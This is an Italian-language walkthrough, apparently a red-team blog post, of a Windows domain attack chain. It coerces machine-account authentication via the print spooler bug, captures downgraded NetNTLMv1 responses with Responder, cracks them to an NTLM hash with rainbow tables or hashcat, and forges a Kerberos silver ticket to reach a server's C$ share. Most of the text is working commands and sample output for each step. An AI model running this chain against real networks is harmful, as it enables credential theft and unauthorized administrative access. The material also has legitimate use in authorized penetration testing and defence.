
SpoolSample -> Responder con NetNTLM Downgrade -> NetNTLMv1 -> NTLM -> Kerberos Silver Ticket
Questa tecnica è stata accennata da altri, ma non ho visto nulla di coeso là fuori. Di seguito ti guideremo attraverso i passaggi per ottenere un'autenticazione Challenge/Response NetNTLMv1, decifrare quelle in hash NTLM e usare quell'hash NTLM per firmare un Silver Ticket Kerberos.
Questo funzionerà su reti in cui il "livello di autenticazione LAN Manager" è impostato a 2 o inferiore. Questo è uno scenario abbastanza comune in distribuzioni Windows più vecchie e grandi. Non dovrebbe funzionare su Windows 10 / Server 2016 o successivi.
Ottenere una risposta NetNTLMv1 di un account macchina tramite @tifkin_'s (Lee Christensen) SpoolSample
Decifrare quella risposta NetNTLMv1 in un hash NTLM utilizzando le Rainbow Tables di @0x31337 (David Hulton)
Generare un Silver Ticket usando l'hash NTLM appena ottenuto con ticketer.py di @agsolino (Albert Solino)
Usando PowerShell, ottieni un elenco di macchine Windows. I server sono di solito prioritari, quindi concentriamoci lì:
Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt
Utilizzando una versione leggermente modificata dello SpoolerScanner di @mysmartlogin (Vincent Le Toux), verifica se il servizio Spooler è in ascolto
. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
Puoi anche usare rpcdump.py su Linux e cercare il protocollo MS-RPRN
rpcdump.py DOMAIN/USER:[email protected] | grep MS-RPRN
./Responder.py -I eth0 --lm
SpoolSample.exe TARGET RESPONDERIP
o usa dementor.py di 3xocyte se sei su Linux
python dementor.py -d domain -u username -p password RESPONDERIP TARGET
Risposta d'esempio:
[SMB] NTLMv1 Client : 10.0.0.2
[SMB] NTLMv1 Username : DOMAIN\SERVER$
[SMB] NTLMv1 Hash : SERVER$::DOMAIN:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972:1122334455667788
Puoi usare un set di Rainbow Tables per invertire l'NTHASH in NTLM, oppure puoi invertirlo nei suoi componenti DES e decifrarlo con hashcat.
Un sistema 8x 1080 può forzarlo in circa 6 giorni, quindi considera le Rainbow Tables.
Per le Rainbow Tables, c'è un servizio ospitato su https://crack.sh/netntlm/ che recupera NTLM da NetNTLMv1 gratuitamente. È fornito da David Hulton di Toorcon. Stiamo lavorando a una copia locale delle rainbow tables e software che non richiede FPGA per le ricerche.
Per crack.sh, il formato è NTHASH:(response), quindi NTHASH:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972 dall'esempio.
python3 ntlmv1.py --ntlmv1 hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788
Questo restituirà l'output qui sotto con le istruzioni:
['hashcat', '', 'DUSTIN-5AA37877', '76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D', '727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595', '1122334455667788']
Hostname: DUSTIN-5AA37877
Username: hashcat
Challenge: 1122334455667788
LM Response: 76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D
NT Response: 727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
CT1: 727B4E35F947129E
CT2: A52B9CDEDAE86934
CT3: BB23EF89F50FC595
To Calculate final 4 characters of NTLM hash use:
./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
To crack with hashcat create a file with the following contents:
727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788
To crack with hashcat:
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
To Crack with crack.sh use the following token
NTHASH:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
Avrai bisogno di trovare alcune informazioni: SPN del servizio a cui vuoi accedere, SID del dominio, SID dell'account utente del dominio e nome dell'account con accesso amministratore locale, e un gruppo del dominio di cui l'utente è membro se si tratta di amministratore locale basato su gruppo.
Per il servizio, il più comune sarà cifs/ in quanto mappa al servizio HOST/
./ticketer.py -nthash 09e55a127f3d4e4957c77de30000502a -domain-sid S-1-5-21-7375663-6890924511-1272660413 -domain DOMAIN.COM -spn cifs/SERVER.DOMAIN.COM -user-id 123456 -groups 4321 username
export KRB5CCNAME=/root/Assessments/NTLMTest/USERNAME.ccache
smbclient -k //SERVER.DOMAIN.COM/c$ -d
Distribuire 6TB di Rainbow Tables
Modificare desrtop di @0x31337 per non richiedere un FPGA
Identificare altri modi per attivare un'autenticazione di account macchina in remoto